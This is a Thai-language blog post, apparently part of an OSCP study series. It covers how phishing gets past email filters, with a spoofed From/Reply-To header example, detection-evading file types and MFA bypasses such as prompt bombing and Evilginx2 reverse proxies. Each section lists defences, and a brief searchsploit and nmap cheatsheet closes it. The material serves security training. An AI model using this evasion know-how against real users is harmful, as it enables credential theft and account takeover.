  • ผู้โจมตีใช้เทคนิคอะไรในการเบี่ยงเบนความสนใจเพื่อหลอกเหยื่อให้หลงเชื่อ
  • การโจมตีแบบ Phishing นั้นผ่านการป้องกันแบบ MFA ได้อย่างไร

Understanding the Role of Inbound Email Filters:

Email Security Gateways สมัยใหม่นั้น(อาทิเช่น Proofpoint, Microsoft Defender for Office 365, Barracuda)สามารถที่จะวิเคราะห์การโจมตีแบบ Phishing ในอีเมลเพื่อคัดกรองอีเมลที่น่าสงสัยออกก่อนที่อีเมลนั้นจะถึงผู้ใช้งานได้

แต่ในขณะเดียวกัน ผู้โจมตีก็ได้พัฒนาเทคนิคและวิธีการในการหลีกเลี่ยงการคัดกรองได้เช่นกัน อาทิเช่น:

  • Reputation Blocklist Evasion:
    • โดยหลายๆระบบการคัดกรองอีเมลนั้นจะใช้ระบบ Blocklist ในการคัด Domain ที่เป็นอันตรายออก
    • ผู้โจมตีจึงทำการสมัครใช้ Domain ใหม่ทันทีที่โดนคัดออก
  • External Domain & Internal Email Spoofing:
    • External Email Spoofing นั้นผู้โจมตีจะส่งอีเมล Phishing ที่แสดงชื่อเป็นชื่อที่อยู่ Internal แต่จริงๆแล้วมาจาก External Domain
From: "HR Department" <hr@company-secure.info>  
Reply-To: hr@company.com
  • โดยที่ชื่อที่อยู่ “Form” นั้นดูสมจริง แต่จะเห็นได้ว่า Domain นั้นมาจาก External “company-secure.info”
  • และเมื่อตอบกลับไปหาอีเมล Internal จริงๆ จึงทำให้อีเมลดูสมจริงยิ่งขึ้น
  • Dynamic Link Manipulation:
    • URL Shorteners (Bitly, TinyURL) ทำการซ่อนลิงค์จริงๆด้วยลิงค์ที่สั้นลงสามารถดูตัวอย่างได้จากด้านบน
    • Rewriting URLs โดยใช้ JavaScript-Based Redirect เพื่อให้มั่นใจได้ว่าลิงค์นั้นจะไม่ถูกค้นพบว่าเป็นลิงค์ปลอมจนกว่าจะถูกคลิก

วิธีการป้องกัน:

  • ฝึกฝนบุคลากรให้สามารถตรวจสอบความผิดปกติของลิงค์ก่อนคลิก
  • เปิดการใช้งานระบบคัดกรองอีเมลด้วย AI ที่ตรวจสอบสิ่งผิดปกติ
  • ทำ Blacklist สำหรับ External Email ที่ใช้ชื่อให้ดูเหมือนกับ Internal หรือบุคลากรภายใน

Identifying Risks of Malicious Office Macros:

Office Documents (Word, Excel, PowerPoint) นั้นสามารถที่จะแนบไฟล์ VBA Macros เพื่อทำการสั่งให้ Malware หรือ Script ที่เป็นอันตรายทำงานได้ ซึ่งได้มีการพูดถึงเรื่องนี้ไปแล้วใน Blog Series นี้ Part ที่ 4 (ข้อมูลเพิ่มเติม: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-4)

Assessing Threats From Malicious Files:

ผู้โจมตีนั้นสามารถใช้ Non-standard Executable Formats หรือประเภทไฟล์ที่ไม่ได้เป็นมาตรฐานหรือพบได้ไม่บ่อยเพื่อหลบหลีกการโดนตรวจจับ:

ประเภทไฟล์ที่ใช้และพบเห็นได้บ่อยในการโจมตีแบบ Phishing:

ประเภทไฟล์Descriptonตัวอย่างรูปแบบการโจมตี
HTA Files (.hta)สามารถใช้ Execute คำสั่งในระบบได้Remote Execution กับ PS script
SCR Files (.scr)เป็นประเภทไฟล์ Executable อยู่แล้วแนบไว้กัน Software Update ปลอม
JScript Files (.js/.jse)สามารถใช้ Execute ไฟล์บน Windows ได้ใช้ดาวน์โหลด Remote Malware
NTFS Alternate Data Streams (ADS)สามารถซ่อนการสั่งการงานไฟล์ไว้ในระบบไฟล์ของ NTFS ได้เก็บ Malware ไวในไฟล์ที่ไม่ถูกตรวจจับ

วิธีการป้องกัน:

  • ทำการ Block ประเภทไฟล์ดังกล่าวที่ถูกแนบมากับอีเมล
  • ใช้ Windows Defender Application Control (WDAC) เพื่อจำกัดการทำงานของสคริปต์

Differentiate Credential Phishing and Multi-Factor Authentication(MFA) :

ในเนื้อหาส่วนนี้นั้นจะกล่าวถึงเมื่อผู้โจมตีทำการมุ่งการโจมตีไปที่ MFA-Protected Accounts โดยใช้ Session Hijacking(การยึด Session), การโจมตีแบบ MFA Fatigue, และ Real-time Interception

การโจมตีที่พบได้บ่อยเพื่อหลีกเลี่ยง MFA:

ประเภทการโจมตีการทำงาน
MFA Fatigue (Prompt Bombing)ผู้โจมตีส่ง MFA Request จนกว่าเหยื่อจะทำการยืนยัน
Lapsus$ Group MFA Bypassใช้ Social Engineering และ Prompt Bombing เพื่อหลอกล่อเหยื่อให้ยืนยันสิทธิ์
Browser-in-the-Middle (BitM) Attacksดักจับ Session Token โดยใช้ Reverse Proxies (อาทิเช่น Evilginx2 )

วิธีการป้องกัน:

  • ใช้งาน Phishing-Resistant MFA (อาทิเช่น FIDO2 Security Keys)
  • จำกัดการยืนยัน MFA (อาจแลกมาด้วย Performance)



Wrapping Up

และตอนนี้ผมคิดว่านี่เป็นเวลาและเนื้อหาอันเหมาะสมที่จะจบ Part นี้ของเรา ซึ่งใน Part นี้ก็ได้ครอบคลุมในเนื้อหาเชิงเทคนิคหลายๆอย่าง โดยที่ประกอบไปด้วย การโจมตีโดยการใช้ Public Exploit โดยครอบคลุมทั้งข้อควรระวัง เครื่องมือต่างๆทั้งแบบ Online และ Offline และความรู้พื้นฐานทั้งหมดเกี่ยวกับ Phishing

ถ้าคุณผู้อ่านท่านใดที่อ่านมาถึงจุดนี้หรือไม่ถึงก็ตาม ตัวผมนั้นก็ขอขอบคุณเป็นอย่างยิ่งและก็หวังเป็นอย่างมากว่าคุณผู้อ่านจะได้พบกับสิ่งที่ตัวเองตามหาไม่มากก็น้อยใน blog หรือบทความนี้และต่อๆไป

และเช่นเดิม ใน blog หน้าจะเป็นเนื้อหาในบทต่อๆไปที่เราจะต้องเจอในคอร์ส Offsec Pen-200. Stay Tuned, Stay Safe, Try Harder!, until next time สวัสดีครับ

สำหรับผู้ที่สนใจ Cheatsheet

สามารถดูต่อด้านล่างได้เลยครับผม 🙂🙏




Command Cheatsheet with Additional Description

CC_Exploit Resource(การโจมตีโดยการใช้ SQL)

kali@kali:~$ searchsploitUsage: searchsploit [options] term1 [term2] ... [termN]
  • Nmap Exploit:
kali@kali:~$ grepExploits /usr/share/nmap/scripts/*.nse //ทำการหาทรัพยากร Exploit ที่ใช้ได้kali@kali:~$ nmap--script-help={exploit-name}.nse //โชว์ข้อมูลของแต่ละ Exploit

ก็จบลงไปจริงๆแล้วครับสำหรับ blog นี้ ตัวผมหวังเป็นอย่างยิ่งว่าคุณผู้อ่านทุกท่านจะได้ประโยชน์กลับไปไม่มากก็น้อย แล้วพบกันใหม่ใน blog หน้า See you soon ครับผม สวัสดีครับ 🙂🙏




อ่าน Part 1 : Introduction

อ่าน Part 2 : Information Gathering

อ่าน Part 3 : Vulnerability Scanning & Basic Web Attacks

อ่าน Part 4 : SQLi & Windows Client-Side Attacks

อ่าน Part 6 : Antivirus Evasion